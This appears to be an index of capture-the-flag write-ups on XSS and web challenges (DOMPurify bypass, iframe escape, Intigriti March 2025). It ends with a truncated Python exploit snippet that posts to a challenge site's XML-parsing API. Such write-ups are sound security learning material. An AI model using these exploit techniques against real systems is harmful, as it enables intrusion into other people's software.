Siss3l

DOMPurify 3.2.3 February XSS Challenge

Description

Pop an alert.

The solution:

Siss3l

Renwa XSS Iframe Escape Web Challenge 2025

Description

Pop the alert().

Overview

Siss3l

Intigriti March 2025 XSS Challenge

Description

The solution:

• Should leverage a cross site scripting vulnerability on this domain;
• Should work on the latest version of Chromium and Firefox;

Siss3l

Intigriti March 2025 Bonus Web Challenge

Resolution

Based on the website working with NextJS and XML edition, we suspect that related recent exploits are needed to easily solve this challenge:

# On local host
flag = __import__("json").loads(__import__("requests").post(
  "https://hackdonalds.intigriti.io/api/parse-xml",